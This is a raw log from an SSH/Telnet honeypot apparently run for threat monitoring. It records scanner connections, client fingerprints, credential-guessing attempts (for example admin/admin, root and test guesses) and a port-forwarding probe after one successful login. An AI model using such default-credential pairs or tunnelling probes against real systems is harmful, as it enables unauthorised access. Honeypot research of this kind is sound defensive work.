{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58428,"dst_ip":"159.203.135.109","dst_port":23,"session":"da3988667e06","protocol":"telnet","message":"New connection: 128.199.8.54:58428 (159.203.135.109:23) [session: da3988667e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:56.230161Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":43302,"dst_ip":"10.17.0.5","dst_port":22,"session":"18d67815008d","protocol":"ssh","message":"New connection: 31.57.216.23:43302 (10.17.0.5:22) [session: 18d67815008d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:57.511916Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:57.517590Z","src_ip":"31.57.216.23","session":"18d67815008d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.23","src_port":43316,"dst_ip":"10.17.0.5","dst_port":22,"session":"34bf182c444a","protocol":"ssh","message":"New connection: 31.57.216.23:43316 (10.17.0.5:22) [session: 34bf182c444a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:57.671500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:57.675832Z","src_ip":"31.57.216.23","session":"34bf182c444a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:57.777933Z","src_ip":"31.57.216.23","session":"34bf182c444a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:58.127899Z","src_ip":"31.57.216.23","session":"34bf182c444a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"31.57.216.23","dst_port":80,"src_ip":"31.57.216.23","src_port":5555,"message":"direct-tcp connection request to 31.57.216.23:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:58.255828Z","session":"34bf182c444a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"31.57.216.23","dst_port":80,"data":"b'kVKbCux36y250bVTBJMq2UGi5bnZZrK9nSwyHtgz8RDaKq9dxR'","id":0,"message":"discarded direct-tcp forward request 0 to 31.57.216.23:80 with data b'kVKbCux36y250bVTBJMq2UGi5bnZZrK9nSwyHtgz8RDaKq9dxR'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:58.361209Z","src_ip":"31.57.216.23","session":"34bf182c444a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:03:58.469501Z","src_ip":"31.57.216.23","session":"34bf182c444a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.264906167984009,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:03.617839Z","src_ip":"181.41.112.117","session":"595e8ebc119c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42090,"dst_ip":"159.203.135.109","dst_port":23,"session":"82d5a629cf77","protocol":"telnet","message":"New connection: 128.199.8.54:42090 (159.203.135.109:23) [session: 82d5a629cf77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:15.260466Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":37626,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b75b84576a1","protocol":"ssh","message":"New connection: 78.83.249.54:37626 (159.203.135.109:22) [session: 9b75b84576a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:18.040581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:18.045458Z","src_ip":"78.83.249.54","session":"9b75b84576a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:18.166081Z","src_ip":"78.83.249.54","session":"9b75b84576a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"awsftpuser","password":"awsftpuser123","message":"login attempt [awsftpuser/awsftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:18.676669Z","src_ip":"78.83.249.54","session":"9b75b84576a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:19.799444Z","src_ip":"78.83.249.54","session":"9b75b84576a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.629597425460815,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:23.829628Z","src_ip":"128.199.8.54","session":"5f9e49b88f05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.43235445022583,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:24.603446Z","src_ip":"128.199.8.54","session":"f156eb32b5b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":33966,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4e9a2af6ec1","protocol":"ssh","message":"New connection: 103.15.226.202:33966 (10.17.0.5:22) [session: b4e9a2af6ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:30.713753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:30.718442Z","src_ip":"103.15.226.202","session":"b4e9a2af6ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.63831067085266,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:30.868349Z","src_ip":"128.199.8.54","session":"da3988667e06","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:30.966008Z","src_ip":"103.15.226.202","session":"b4e9a2af6ec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#","message":"login attempt [root/!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:31.689295Z","src_ip":"103.15.226.202","session":"b4e9a2af6ec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:32.933807Z","src_ip":"103.15.226.202","session":"b4e9a2af6ec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":58500,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6d0c631c8ce","protocol":"telnet","message":"New connection: 68.178.168.57:58500 (10.17.0.5:23) [session: b6d0c631c8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:37.977997Z"}
{"eventid":"cowrie.session.closed","duration":33.939631938934326,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:49.199957Z","src_ip":"128.199.8.54","session":"82d5a629cf77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52798,"dst_ip":"159.203.135.109","dst_port":23,"session":"20951412e8c0","protocol":"telnet","message":"New connection: 128.199.8.54:52798 (159.203.135.109:23) [session: 20951412e8c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:04:59.529802Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":40334,"dst_ip":"10.17.0.5","dst_port":23,"session":"2247188a4a31","protocol":"telnet","message":"New connection: 68.178.168.57:40334 (10.17.0.5:23) [session: 2247188a4a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:06.204386Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":9383,"dst_ip":"10.17.0.5","dst_port":23,"session":"087194850bce","protocol":"telnet","message":"New connection: 212.55.149.117:9383 (10.17.0.5:23) [session: 087194850bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:07.054285Z"}
{"eventid":"cowrie.session.closed","duration":31.357842922210693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:09.335769Z","src_ip":"68.178.168.57","session":"b6d0c631c8ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.83.249.54","src_port":54558,"dst_ip":"159.203.135.109","dst_port":22,"session":"77ca1cca345d","protocol":"ssh","message":"New connection: 78.83.249.54:54558 (159.203.135.109:22) [session: 77ca1cca345d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:12.288529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:12.294063Z","src_ip":"78.83.249.54","session":"77ca1cca345d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:12.415463Z","src_ip":"78.83.249.54","session":"77ca1cca345d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123test","message":"login attempt [test/test123test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:12.924984Z","src_ip":"78.83.249.54","session":"77ca1cca345d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:14.050228Z","src_ip":"78.83.249.54","session":"77ca1cca345d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":44534,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd9da9546367","protocol":"telnet","message":"New connection: 68.178.168.57:44534 (10.17.0.5:23) [session: fd9da9546367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:15.720883Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.178.168.57","src_port":45846,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1925b61bb95","protocol":"telnet","message":"New connection: 68.178.168.57:45846 (10.17.0.5:23) [session: d1925b61bb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:18.985078Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.77.222.142","src_port":37652,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3fb6c0eec50","protocol":"ssh","message":"New connection: 51.77.222.142:37652 (10.17.0.5:22) [session: a3fb6c0eec50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:21.483020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:21.488068Z","src_ip":"51.77.222.142","session":"a3fb6c0eec50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:21.566967Z","src_ip":"51.77.222.142","session":"a3fb6c0eec50","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:7d:9c:f4:4e:49:c1:c9:b2:6c:6b:f7:cf:6d:08:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCclwWwYmBqwFsrlYKeIakxyHmeApUk+FJF+ZjmTXI/L1AmddZqm0/h6j0bKtQ8s2lJ12SWHa78ru+XViaR4FqZolLalSmzyzVwqg33c8UXdhZ6cMOjMFqnYT4lYtHbwpjKL3OqGCenWteri31REsTvMWhlKCQk5WYChlejrd1lhhr/KcqSkyOsoGOHJMwp64SLplO4WQX+Dg6gp2wtdNLx0vBP0AznwYIWDr7gcM0Ie7689hyYL0tm/eWkjeqwAtH8H+0wO/TGSm09zuMRSo/bpAtY5CGi/M25D5MDZW9T9IGuJVFTARYVwfO93t3k7KvylBSMGfVrMCZPHP2Eu9aF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:7d:9c:f4:4e:49:c1:c9:b2:6c:6b:f7:cf:6d:08:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:21.968927Z","src_ip":"51.77.222.142","session":"a3fb6c0eec50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:7d:9c:f4:4e:49:c1:c9:b2:6c:6b:f7:cf:6d:08:be","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCclwWwYmBqwFsrlYKeIakxyHmeApUk+FJF+ZjmTXI/L1AmddZqm0/h6j0bKtQ8s2lJ12SWHa78ru+XViaR4FqZolLalSmzyzVwqg33c8UXdhZ6cMOjMFqnYT4lYtHbwpjKL3OqGCenWteri31REsTvMWhlKCQk5WYChlejrd1lhhr/KcqSkyOsoGOHJMwp64SLplO4WQX+Dg6gp2wtdNLx0vBP0AznwYIWDr7gcM0Ie7689hyYL0tm/eWkjeqwAtH8H+0wO/TGSm09zuMRSo/bpAtY5CGi/M25D5MDZW9T9IGuJVFTARYVwfO93t3k7KvylBSMGfVrMCZPHP2Eu9aF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:21.972758Z","src_ip":"51.77.222.142","session":"a3fb6c0eec50","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:43:a2:c3:bb:ea:b9:45:ff:cb:10:c8:1b:dd:8f:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCuIvAD4WVtiZ2jruVe/8AKU9mCfgJ2NoRGiMvGuEUctYcX7yoSupFoSqtk4vN9YbGm8aRQZr3ZA88R0i8dQXj5b7NcS8JFJJENsnlGH5xcs+HGCY9XH9kGoYZ3hGTyjsCbYdCijxcrfYvIQvFdJPuhdoLLjani2Rn0GiA0hk9zkq5Nq3ahiux+oo0EZRIsgNOWX1ZclZK5kul4dWi8hYR3nJntvx2YaM1BfpfhVS2d9iZS2hWuWM7bmD0IhRBksWuGQrAIdv/tuUL2+POXG/Co9XBsTKGVj2cOeX+TL/Sy3MEcSzzGXA33PF0qfbDmv28HULz3mQ5t4YKd/ClGgVLK71SMcNq6xkiPPiWuA3uDWL1EZl4Y2jS0ll+IXlI8VhlSY15Wjejv9VNGj6+im+zR8NV5AUFZvrMJkpGmv/2pf1PTmBXSdRo4WzyyGL/gMNhX2zMevpuaH/UMFAZzPx4HzOWIzJLtXmV1wFjJtJTU+Td2tyMTMH29NoZ3B8IYLfd2t4i+xyrxvTuuXg7DoldYQj/KSTVXxdNjlfffQrwg4qrlBh8/tPmsh7oPMdSep8EjwhlAAst2cCw5+X5hwP74hbIcp0UB3ju8+oebsqzli48DnDRULd0mAx0iIkr0ev+smv0mXTa79x96L5gZIeQ9GZI1Ph11HBNozekUrEbQFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:43:a2:c3:bb:ea:b9:45:ff:cb:10:c8:1b:dd:8f:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:05:22.050645Z","src_ip":"51.77.222.142","session":"a3fb6c0eec50","protocol":"ssh"}
